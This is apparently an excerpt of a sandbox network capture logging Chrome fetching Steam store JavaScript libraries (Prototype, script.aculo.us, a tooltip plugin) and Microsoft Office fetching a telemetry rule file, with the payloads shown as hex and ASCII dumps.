2024-10-07 06:47:04 UTC	542	OUT	GET /public/javascript/prototype-1.7.js?v=.a38iP7Khdmyy HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 06:47:05 UTC	389	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/javascript;charset=UTF-8 ETag: ".a38iP7Khdmyy" Last-Modified: Wed, 28 Jun 2023 04:07:21 GMT Strict-Transport-Security: max-age=10368000 Cache-Control: public, max-age=6418887 Expires: Fri, 20 Dec 2024 13:48:32 GMT Date: Mon, 07 Oct 2024 06:47:05 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding
2024-10-07 06:47:05 UTC	15995	IN	Data Raw: 30 30 30 30 43 30 30 30 0d 0a 0d 0a 2f 2a 20 20 50 72 6f 74 6f 74 79 70 65 20 4a 61 76 61 53 63 72 69 70 74 20 66 72 61 6d 65 77 6f 72 6b 2c 20 76 65 72 73 69 6f 6e 20 31 2e 37 0d 0a 20 2a 20 20 28 63 29 20 32 30 30 35 2d 32 30 31 30 20 53 61 6d 20 53 74 65 70 68 65 6e 73 6f 6e 0d 0a 20 2a 0d 0a 20 2a 20 20 50 72 6f 74 6f 74 79 70 65 20 69 73 20 66 72 65 65 6c 79 20 64 69 73 74 72 69 62 75 74 61 62 6c 65 20 75 6e 64 65 72 20 74 68 65 20 74 65 72 6d 73 20 6f 66 20 61 6e 20 4d 49 54 2d 73 74 79 6c 65 20 6c 69 63 65 6e 73 65 2e 0d 0a 20 2a 20 20 46 6f 72 20 64 65 74 61 69 6c 73 2c 20 73 65 65 20 74 68 65 20 50 72 6f 74 6f 74 79 70 65 20 77 65 62 20 73 69 74 65 3a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 70 72 6f 74 6f 74 79 70 65 6a 73 2e 6f 72 67 2f 0d 0a 20 2a Data Ascii: 0000C000/* Prototype JavaScript framework, version 1.7 * (c) 2005-2010 Sam Stephenson * * Prototype is freely distributable under the terms of an MIT-style license. * For details, see the Prototype web site: http://www.prototypejs.org/ *
2024-10-07 06:47:05 UTC	15832	IN	Data Raw: 2f 3c 5c 77 2b 28 5c 73 2b 28 22 5b 5e 22 5d 2a 22 7c 27 5b 5e 27 5d 2a 27 7c 5b 5e 3e 5d 29 2b 29 3f 3e 7c 3c 5c 2f 5c 77 2b 3e 2f 67 69 2c 20 27 27 29 3b 0d 0a 20 20 7d 0d 0a 0d 0a 20 20 66 75 6e 63 74 69 6f 6e 20 73 74 72 69 70 53 63 72 69 70 74 73 28 29 20 7b 0d 0a 20 20 20 20 72 65 74 75 72 6e 20 74 68 69 73 2e 72 65 70 6c 61 63 65 28 6e 65 77 20 52 65 67 45 78 70 28 50 72 6f 74 6f 74 79 70 65 2e 53 63 72 69 70 74 46 72 61 67 6d 65 6e 74 2c 20 27 69 6d 67 27 29 2c 20 27 27 29 3b 0d 0a 20 20 7d 0d 0a 0d 0a 20 20 66 75 6e 63 74 69 6f 6e 20 65 78 74 72 61 63 74 53 63 72 69 70 74 73 28 29 20 7b 0d 0a 20 20 20 20 76 61 72 20 6d 61 74 63 68 41 6c 6c 20 3d 20 6e 65 77 20 52 65 67 45 78 70 28 50 72 6f 74 6f 74 79 70 65 2e 53 63 72 69 70 74 46 72 61 67 6d 65 Data Ascii: /<\w+(\s+("[^"]"\|'[^']'\|[^>])+)?>\|<\/\w+>/gi, ''); } function stripScripts() { return this.replace(new RegExp(Prototype.ScriptFragment, 'img'), ''); } function extractScripts() { var matchAll = new RegExp(Prototype.ScriptFragme
2024-10-07 06:47:05 UTC	16384	IN	Data Raw: 28 61 72 72 61 79 50 72 6f 74 6f 2c 20 7b 0d 0a 20 20 20 20 5f 65 61 63 68 3a 20 20 20 20 20 5f 65 61 63 68 2c 0d 0a 20 20 20 20 63 6c 65 61 72 3a 20 20 20 20 20 63 6c 65 61 72 2c 0d 0a 20 20 20 20 66 69 72 73 74 3a 20 20 20 20 20 66 69 72 73 74 2c 0d 0a 20 20 20 20 6c 61 73 74 3a 20 20 20 20 20 20 6c 61 73 74 2c 0d 0a 20 20 20 20 63 6f 6d 70 61 63 74 3a 20 20 20 63 6f 6d 70 61 63 74 2c 0d 0a 20 20 20 20 66 6c 61 74 74 65 6e 3a 20 20 20 66 6c 61 74 74 65 6e 2c 0d 0a 20 20 20 20 77 69 74 68 6f 75 74 3a 20 20 20 77 69 74 68 6f 75 74 2c 0d 0a 20 20 20 20 72 65 76 65 72 73 65 3a 20 20 20 72 65 76 65 72 73 65 2c 0d 0a 20 20 20 20 75 6e 69 71 3a 20 20 20 20 20 20 75 6e 69 71 2c 0d 0a 20 20 20 20 69 6e 74 65 72 73 65 63 74 3a 20 69 6e 74 65 72 73 65 63 74 2c 0d Data Ascii: (arrayProto, { _each: _each, clear: clear, first: first, last: last, compact: compact, flatten: flatten, without: without, reverse: reverse, uniq: uniq, intersect: intersect,
2024-10-07 06:47:05 UTC	953	IN	Data Raw: 43 6f 6d 70 6c 65 74 65 20 3d 20 75 6e 64 65 66 69 6e 65 64 3b 0d 0a 20 20 20 20 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 74 68 69 73 2e 74 69 6d 65 72 29 3b 0d 0a 20 20 20 20 28 74 68 69 73 2e 6f 6e 43 6f 6d 70 6c 65 74 65 20 7c 7c 20 50 72 6f 74 6f 74 79 70 65 2e 65 6d 70 74 79 46 75 6e 63 74 69 6f 6e 29 2e 61 70 70 6c 79 28 74 68 69 73 2c 20 61 72 67 75 6d 65 6e 74 73 29 3b 0d 0a 20 20 7d 2c 0d 0a 0d 0a 20 20 75 70 64 61 74 65 43 6f 6d 70 6c 65 74 65 3a 20 66 75 6e 63 74 69 6f 6e 28 72 65 73 70 6f 6e 73 65 29 20 7b 0d 0a 20 20 20 20 69 66 20 28 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 64 65 63 61 79 29 20 7b 0d 0a 20 20 20 20 20 20 74 68 69 73 2e 64 65 63 61 79 20 3d 20 28 72 65 73 70 6f 6e 73 65 2e 72 65 73 70 6f 6e 73 65 54 65 78 74 20 3d 3d 20 74 68 69 Data Ascii: Complete = undefined; clearTimeout(this.timer); (this.onComplete \|\| Prototype.emptyFunction).apply(this, arguments); }, updateComplete: function(response) { if (this.options.decay) { this.decay = (response.responseText == thi
2024-10-07 06:47:05 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 75 6d 65 6e 74 2e 5f 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 58 50 61 74 68 20 3d 20 66 75 6e 63 74 69 6f 6e 28 65 78 70 72 65 73 73 69 6f 6e 2c 20 70 61 72 65 6e 74 45 6c 65 6d 65 6e 74 29 20 7b 0d 0a 20 20 20 20 76 61 72 20 72 65 73 75 6c 74 73 20 3d 20 5b 5d 3b 0d 0a 20 20 20 20 76 61 72 20 71 75 65 72 79 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 65 76 61 6c 75 61 74 65 28 65 78 70 72 65 73 73 69 6f 6e 2c 20 24 28 70 61 72 65 6e 74 45 6c 65 6d 65 6e 74 29 20 7c 7c 20 64 6f 63 75 6d 65 6e 74 2c 0d 0a 20 20 20 20 20 20 6e 75 6c 6c 2c 20 58 50 61 74 68 52 65 73 75 6c 74 2e 4f 52 44 45 52 45 44 5f 4e 4f 44 45 5f 53 4e 41 50 53 48 4f 54 5f 54 59 50 45 2c 20 6e 75 6c 6c 29 3b 0d 0a 20 20 20 20 66 6f 72 20 28 76 61 72 20 69 20 3d 20 30 Data Ascii: 00004000ument._getElementsByXPath = function(expression, parentElement) { var results = []; var query = document.evaluate(expression, $(parentElement) \|\| document, null, XPathResult.ORDERED_NODE_SNAPSHOT_TYPE, null); for (var i = 0
2024-10-07 06:47:05 UTC	12	IN	Data Raw: 74 28 65 6c 65 6d 65 6e 74 29 0d 0a Data Ascii: t(element)
2024-10-07 06:47:05 UTC	3235	IN	Data Raw: 30 30 30 30 30 43 39 37 0d 0a 3b 0d 0a 20 20 20 20 77 69 6e 64 6f 77 2e 73 63 72 6f 6c 6c 54 6f 28 70 6f 73 5b 30 5d 2c 20 70 6f 73 5b 31 5d 29 3b 0d 0a 20 20 20 20 72 65 74 75 72 6e 20 65 6c 65 6d 65 6e 74 3b 0d 0a 20 20 7d 2c 0d 0a 0d 0a 20 20 67 65 74 53 74 79 6c 65 3a 20 66 75 6e 63 74 69 6f 6e 28 65 6c 65 6d 65 6e 74 2c 20 73 74 79 6c 65 29 20 7b 0d 0a 20 20 20 20 65 6c 65 6d 65 6e 74 20 3d 20 24 28 65 6c 65 6d 65 6e 74 29 3b 0d 0a 20 20 20 20 73 74 79 6c 65 20 3d 20 73 74 79 6c 65 20 3d 3d 20 27 66 6c 6f 61 74 27 20 3f 20 27 63 73 73 46 6c 6f 61 74 27 20 3a 20 73 74 79 6c 65 2e 63 61 6d 65 6c 69 7a 65 28 29 3b 0d 0a 20 20 20 20 76 61 72 20 76 61 6c 75 65 20 3d 20 65 6c 65 6d 65 6e 74 2e 73 74 79 6c 65 5b 73 74 79 6c 65 5d 3b 0d 0a 20 20 20 20 69 66 Data Ascii: 00000C97; window.scrollTo(pos[0], pos[1]); return element; }, getStyle: function(element, style) { element = $(element); style = style == 'float' ? 'cssFloat' : style.camelize(); var value = element.style[style]; if
2024-10-07 06:47:05 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 45 6c 65 6d 65 6e 74 2e 67 65 74 4f 66 66 73 65 74 50 61 72 65 6e 74 28 65 6c 65 6d 65 6e 74 29 3b 0d 0a 20 20 20 20 20 20 64 65 6c 74 61 20 3d 20 45 6c 65 6d 65 6e 74 2e 76 69 65 77 70 6f 72 74 4f 66 66 73 65 74 28 70 61 72 65 6e 74 29 3b 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 69 66 20 28 70 61 72 65 6e 74 20 3d 3d 20 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 29 20 7b 0d 0a 20 20 20 20 20 20 64 65 6c 74 61 5b 30 5d 20 2d 3d 20 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 6f 66 66 73 65 74 4c 65 66 74 3b 0d 0a 20 20 20 20 20 20 64 65 6c 74 61 5b 31 5d 20 2d 3d 20 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 6f 66 66 73 65 74 54 6f 70 3b 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 69 66 20 28 6f 70 74 69 6f 6e 73 2e 73 65 74 4c Data Ascii: 00004000Element.getOffsetParent(element); delta = Element.viewportOffset(parent); } if (parent == document.body) { delta[0] -= document.body.offsetLeft; delta[1] -= document.body.offsetTop; } if (options.setL
2024-10-07 06:47:05 UTC	12	IN	Data Raw: 20 63 6f 70 79 28 6d 65 74 68 0d 0a Data Ascii: copy(meth
2024-10-07 06:47:05 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 6f 64 73 2c 20 64 65 73 74 69 6e 61 74 69 6f 6e 2c 20 6f 6e 6c 79 49 66 41 62 73 65 6e 74 29 20 7b 0d 0a 20 20 20 20 6f 6e 6c 79 49 66 41 62 73 65 6e 74 20 3d 20 6f 6e 6c 79 49 66 41 62 73 65 6e 74 20 7c 7c 20 66 61 6c 73 65 3b 0d 0a 20 20 20 20 66 6f 72 20 28 76 61 72 20 70 72 6f 70 65 72 74 79 20 69 6e 20 6d 65 74 68 6f 64 73 29 20 7b 0d 0a 20 20 20 20 20 20 76 61 72 20 76 61 6c 75 65 20 3d 20 6d 65 74 68 6f 64 73 5b 70 72 6f 70 65 72 74 79 5d 3b 0d 0a 20 20 20 20 20 20 69 66 20 28 21 4f 62 6a 65 63 74 2e 69 73 46 75 6e 63 74 69 6f 6e 28 76 61 6c 75 65 29 29 20 63 6f 6e 74 69 6e 75 65 3b 0d 0a 20 20 20 20 20 20 69 66 20 28 21 6f 6e 6c 79 49 66 41 62 73 65 6e 74 20 7c 7c 20 21 28 70 72 6f 70 65 72 74 79 20 69 6e 20 64 65 73 Data Ascii: 00004000ods, destination, onlyIfAbsent) { onlyIfAbsent = onlyIfAbsent \|\| false; for (var property in methods) { var value = methods[property]; if (!Object.isFunction(value)) continue; if (!onlyIfAbsent \|\| !(property in des

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.6	49812	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:04 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-07 06:47:05 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 06:47:04 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 1ed82642-401e-0048-7b12-170409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241007T064704Z-1657d5bbd48wd55zet5pcra0cg000000030000000000d6v8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-07 06:47:05 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.6	49814	2.16.168.5	443	6900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:05 UTC	403	OUT	GET /public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0 HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 06:47:05 UTC	347	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/javascript;charset=UTF-8 ETag: ".zYHOpI1L3Rt0" Last-Modified: Wed, 28 Jun 2023 04:07:10 GMT Strict-Transport-Security: max-age=300 Cache-Control: public, max-age=7837467 Expires: Sun, 05 Jan 2025 23:51:32 GMT Date: Mon, 07 Oct 2024 06:47:05 GMT Content-Length: 16087 Connection: close
2024-10-07 06:47:05 UTC	16037	IN	Data Raw: 2f 2a 20 52 65 71 75 69 72 65 73 20 6a 51 75 65 72 79 0d 0a 20 2a 0d 0a 20 2a 20 54 68 69 73 20 70 6c 75 67 69 6e 20 77 69 6c 6c 20 63 72 65 61 74 65 20 64 69 76 2e 6a 73 54 6f 6f 6c 74 69 70 20 65 6c 65 6d 65 6e 74 73 20 28 6f 72 20 63 6f 6e 66 69 67 75 72 65 20 79 6f 75 72 20 6f 77 6e 21 29 20 69 6e 20 62 6f 64 79 20 66 6f 72 20 65 76 65 72 79 20 74 6f 6f 6c 74 69 70 20 6f 6e 20 74 68 65 20 70 61 67 65 2e 20 53 6f 6d 65 0d 0a 20 2a 20 62 61 73 69 63 20 43 53 53 20 69 73 20 61 70 70 6c 69 65 64 20 61 75 74 6f 6d 61 67 69 63 61 6c 6c 79 2c 20 62 75 74 20 79 6f 75 27 6c 6c 20 77 61 6e 74 20 74 6f 20 73 74 79 6c 65 20 69 74 20 6f 6e 20 79 6f 75 72 20 6f 77 6e 20 66 72 6f 6d 20 74 68 65 72 65 2e 20 54 68 69 73 20 63 6f 64 65 20 77 69 6c 6c 20 62 65 20 61 70 Data Ascii: /* Requires jQuery * * This plugin will create div.jsTooltip elements (or configure your own!) in body for every tooltip on the page. Some * basic CSS is applied automagically, but you'll want to style it on your own from there. This code will be ap
2024-10-07 06:47:05 UTC	50	IN	Data Raw: 79 2e 74 6f 6f 6c 74 69 70 27 20 29 3b 0d 0a 09 09 7d 0d 0a 0d 0a 09 7d 3b 0d 0a 0d 0a 0d 0a 7d 29 28 20 6a 51 75 65 72 79 20 29 3b 0d 0a 0d 0a 0d 0a Data Ascii: y.tooltip' );}};})( jQuery );

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.6	49815	95.101.54.105	443	6900	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 06:47:05 UTC	590	OUT	GET /public/javascript/scriptaculous/_combined.js?v=Me1IBxzktiwk&l=english&load=effects,controls,slider HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 06:47:05 UTC	383	IN	HTTP/1.1 200 OK Last-Modified: Sun, 09 Sep 2001 01:46:40 GMT ETag: "Me1IBxzktiwk" Server: nginx Content-Type: text/javascript;charset=UTF-8 Strict-Transport-Security: max-age=300 Cache-Control: public, max-age=8381579 Expires: Sun, 12 Jan 2025 07:00:04 GMT Date: Mon, 07 Oct 2024 06:47:05 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding
2024-10-07 06:47:05 UTC	16001	IN	Data Raw: 30 30 30 30 43 30 30 30 0d 0a 2f 2f 20 73 63 72 69 70 74 2e 61 63 75 6c 6f 2e 75 73 20 73 63 72 69 70 74 61 63 75 6c 6f 75 73 2e 6a 73 20 76 31 2e 38 2e 31 2c 20 54 68 75 20 4a 61 6e 20 30 33 20 32 32 3a 30 37 3a 31 32 20 2d 30 35 30 30 20 32 30 30 38 0d 0a 0d 0a 2f 2f 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 30 35 2d 32 30 30 37 20 54 68 6f 6d 61 73 20 46 75 63 68 73 20 28 68 74 74 70 3a 2f 2f 73 63 72 69 70 74 2e 61 63 75 6c 6f 2e 75 73 2c 20 68 74 74 70 3a 2f 2f 6d 69 72 2e 61 63 75 6c 6f 2e 75 73 29 0d 0a 2f 2f 20 0d 0a 2f 2f 20 50 65 72 6d 69 73 73 69 6f 6e 20 69 73 20 68 65 72 65 62 79 20 67 72 61 6e 74 65 64 2c 20 66 72 65 65 20 6f 66 20 63 68 61 72 67 65 2c 20 74 6f 20 61 6e 79 20 70 65 72 73 6f 6e 20 6f 62 74 61 69 6e 69 6e 67 0d 0a 2f Data Ascii: 0000C000// script.aculo.us scriptaculous.js v1.8.1, Thu Jan 03 22:07:12 -0500 2008// Copyright (c) 2005-2007 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us)// // Permission is hereby granted, free of charge, to any person obtaining/
2024-10-07 06:47:05 UTC	15783	IN	Data Raw: 61 63 6b 77 61 72 64 73 20 63 6f 6d 70 61 74 69 62 69 6c 69 74 79 0d 0a 45 66 66 65 63 74 2e 4d 6f 76 65 42 79 20 3d 20 66 75 6e 63 74 69 6f 6e 28 65 6c 65 6d 65 6e 74 2c 20 74 6f 54 6f 70 2c 20 74 6f 4c 65 66 74 29 20 7b 0d 0a 20 20 72 65 74 75 72 6e 20 6e 65 77 20 45 66 66 65 63 74 2e 4d 6f 76 65 28 65 6c 65 6d 65 6e 74 2c 20 0d 0a 20 20 20 20 4f 62 6a 65 63 74 2e 65 78 74 65 6e 64 28 7b 20 78 3a 20 74 6f 4c 65 66 74 2c 20 79 3a 20 74 6f 54 6f 70 20 7d 2c 20 61 72 67 75 6d 65 6e 74 73 5b 33 5d 20 7c 7c 20 7b 20 7d 29 29 3b 0d 0a 7d 3b 0d 0a 0d 0a 45 66 66 65 63 74 2e 53 63 61 6c 65 20 3d 20 43 6c 61 73 73 2e 63 72 65 61 74 65 28 45 66 66 65 63 74 2e 42 61 73 65 2c 20 7b 0d 0a 20 20 69 6e 69 74 69 61 6c 69 7a 65 3a 20 66 75 6e 63 74 69 6f 6e 28 65 6c 65 Data Ascii: ackwards compatibilityEffect.MoveBy = function(element, toTop, toLeft) { return new Effect.Move(element, Object.extend({ x: toLeft, y: toTop }, arguments[3] \|\| { }));};Effect.Scale = Class.create(Effect.Base, { initialize: function(ele
2024-10-07 06:47:05 UTC	16384	IN	Data Raw: 66 66 65 63 74 2e 65 66 66 65 63 74 73 5b 30 5d 2e 65 6c 65 6d 65 6e 74 2e 73 65 74 53 74 79 6c 65 28 7b 68 65 69 67 68 74 3a 20 27 30 70 78 27 7d 29 2e 73 68 6f 77 28 29 3b 20 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 61 66 74 65 72 46 69 6e 69 73 68 49 6e 74 65 72 6e 61 6c 3a 20 66 75 6e 63 74 69 6f 6e 28 65 66 66 65 63 74 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 65 66 66 65 63 74 2e 65 66 66 65 63 74 73 5b 30 5d 2e 65 6c 65 6d 65 6e 74 2e 75 6e 64 6f 43 6c 69 70 70 69 6e 67 28 29 2e 75 6e 64 6f 50 6f 73 69 74 69 6f 6e 65 64 28 29 2e 73 65 74 53 74 79 6c 65 28 6f 6c 64 53 74 79 6c 65 29 3b 20 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 7d Data Ascii: ffect.effects[0].element.setStyle({height: '0px'}).show(); }, afterFinishInternal: function(effect) { effect.effects[0].element.undoClipping().undoPositioned().setStyle(oldStyle); } }
2024-10-07 06:47:05 UTC	996	IN	Data Raw: 6e 64 69 63 61 74 6f 72 29 3b 0d 0a 20 20 7d 2c 0d 0a 0d 0a 20 20 6f 6e 4b 65 79 50 72 65 73 73 3a 20 66 75 6e 63 74 69 6f 6e 28 65 76 65 6e 74 29 20 7b 0d 0a 20 20 20 20 69 66 28 74 68 69 73 2e 61 63 74 69 76 65 29 0d 0a 20 20 20 20 20 20 73 77 69 74 63 68 28 65 76 65 6e 74 2e 6b 65 79 43 6f 64 65 29 20 7b 0d 0a 20 20 20 20 20 20 20 63 61 73 65 20 45 76 65 6e 74 2e 4b 45 59 5f 54 41 42 3a 0d 0a 20 20 20 20 20 20 20 63 61 73 65 20 45 76 65 6e 74 2e 4b 45 59 5f 52 45 54 55 52 4e 3a 0d 0a 20 20 20 20 20 20 20 20 20 74 68 69 73 2e 73 65 6c 65 63 74 45 6e 74 72 79 28 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 45 76 65 6e 74 2e 73 74 6f 70 28 65 76 65 6e 74 29 3b 0d 0a 20 20 20 20 20 20 20 63 61 73 65 20 45 76 65 6e 74 2e 4b 45 59 5f 45 53 43 3a 0d 0a 20 20 20 20 Data Ascii: ndicator); }, onKeyPress: function(event) { if(this.active) switch(event.keyCode) { case Event.KEY_TAB: case Event.KEY_RETURN: this.selectEntry(); Event.stop(event); case Event.KEY_ESC:
2024-10-07 06:47:05 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 20 20 20 20 20 20 73 65 74 54 69 6d 65 6f 75 74 28 74 68 69 73 2e 6f 6e 4f 62 73 65 72 76 65 72 45 76 65 6e 74 2e 62 69 6e 64 28 74 68 69 73 29 2c 20 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 66 72 65 71 75 65 6e 63 79 2a 31 30 30 30 29 3b 0d 0a 20 20 7d 2c 0d 0a 0d 0a 20 20 61 63 74 69 76 61 74 65 3a 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 20 20 20 20 74 68 69 73 2e 63 68 61 6e 67 65 64 20 3d 20 66 61 6c 73 65 3b 0d 0a 20 20 20 20 74 68 69 73 2e 68 61 73 46 6f 63 75 73 20 3d 20 74 72 75 65 3b 0d 0a 20 20 20 20 74 68 69 73 2e 67 65 74 55 70 64 61 74 65 64 43 68 6f 69 63 65 73 28 29 3b 0d 0a 20 20 7d 2c 0d 0a 0d 0a 20 20 6f 6e 48 6f 76 65 72 3a 20 66 75 6e 63 74 69 6f 6e 28 65 76 65 6e 74 29 20 7b 0d 0a 20 20 20 20 76 61 72 Data Ascii: 00004000 setTimeout(this.onObserverEvent.bind(this), this.options.frequency*1000); }, activate: function() { this.changed = false; this.hasFocus = true; this.getUpdatedChoices(); }, onHover: function(event) { var
2024-10-07 06:47:05 UTC	12	IN	Data Raw: 63 74 69 6f 6e 28 29 20 7b 0d 0d 0a Data Ascii: ction() {
2024-10-07 06:47:05 UTC	919	IN	Data Raw: 30 30 30 30 30 33 38 42 0d 0a 0a 20 20 20 20 72 65 74 75 72 6e 20 74 68 69 73 2e 65 6c 65 6d 65 6e 74 2e 69 6e 6e 65 72 48 54 4d 4c 3b 0d 0a 20 20 7d 2c 0d 0a 20 20 68 61 6e 64 6c 65 41 4a 41 58 46 61 69 6c 75 72 65 3a 20 66 75 6e 63 74 69 6f 6e 28 74 72 61 6e 73 70 6f 72 74 29 20 7b 0d 0a 20 20 20 20 74 68 69 73 2e 74 72 69 67 67 65 72 43 61 6c 6c 62 61 63 6b 28 27 6f 6e 46 61 69 6c 75 72 65 27 2c 20 74 72 61 6e 73 70 6f 72 74 29 3b 0d 0a 20 20 20 20 69 66 20 28 74 68 69 73 2e 5f 6f 6c 64 49 6e 6e 65 72 48 54 4d 4c 29 20 7b 0d 0a 20 20 20 20 20 20 74 68 69 73 2e 65 6c 65 6d 65 6e 74 2e 69 6e 6e 65 72 48 54 4d 4c 20 3d 20 74 68 69 73 2e 5f 6f 6c 64 49 6e 6e 65 72 48 54 4d 4c 3b 0d 0a 20 20 20 20 20 20 74 68 69 73 2e 5f 6f 6c 64 49 6e 6e 65 72 48 54 4d 4c Data Ascii: 0000038B return this.element.innerHTML; }, handleAJAXFailure: function(transport) { this.triggerCallback('onFailure', transport); if (this._oldInnerHTML) { this.element.innerHTML = this._oldInnerHTML; this._oldInnerHTML
2024-10-07 06:47:05 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 2c 0d 0a 20 20 20 20 20 20 20 20 6f 6e 46 61 69 6c 75 72 65 3a 20 74 68 69 73 2e 5f 62 6f 75 6e 64 46 61 69 6c 75 72 65 48 61 6e 64 6c 65 72 0d 0a 20 20 20 20 20 20 7d 29 3b 0d 0a 20 20 20 20 20 20 6e 65 77 20 41 6a 61 78 2e 55 70 64 61 74 65 72 28 7b 20 73 75 63 63 65 73 73 3a 20 74 68 69 73 2e 65 6c 65 6d 65 6e 74 20 7d 2c 20 74 68 69 73 2e 75 72 6c 2c 20 6f 70 74 69 6f 6e 73 29 3b 0d 0a 20 20 20 20 7d 20 65 6c 73 65 20 7b 0d 0a 20 20 20 20 20 20 76 61 72 20 6f 70 74 69 6f 6e 73 20 3d 20 4f 62 6a 65 63 74 2e 65 78 74 65 6e 64 28 7b 20 6d 65 74 68 6f 64 3a 20 27 67 65 74 27 20 7d 2c 20 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 61 6a 61 78 4f 70 74 69 6f 6e 73 29 3b 0d 0a 20 20 20 20 20 20 4f 62 6a 65 63 74 2e 65 78 74 65 6e 64 Data Ascii: 00004000, onFailure: this._boundFailureHandler }); new Ajax.Updater({ success: this.element }, this.url, options); } else { var options = Object.extend({ method: 'get' }, this.options.ajaxOptions); Object.extend
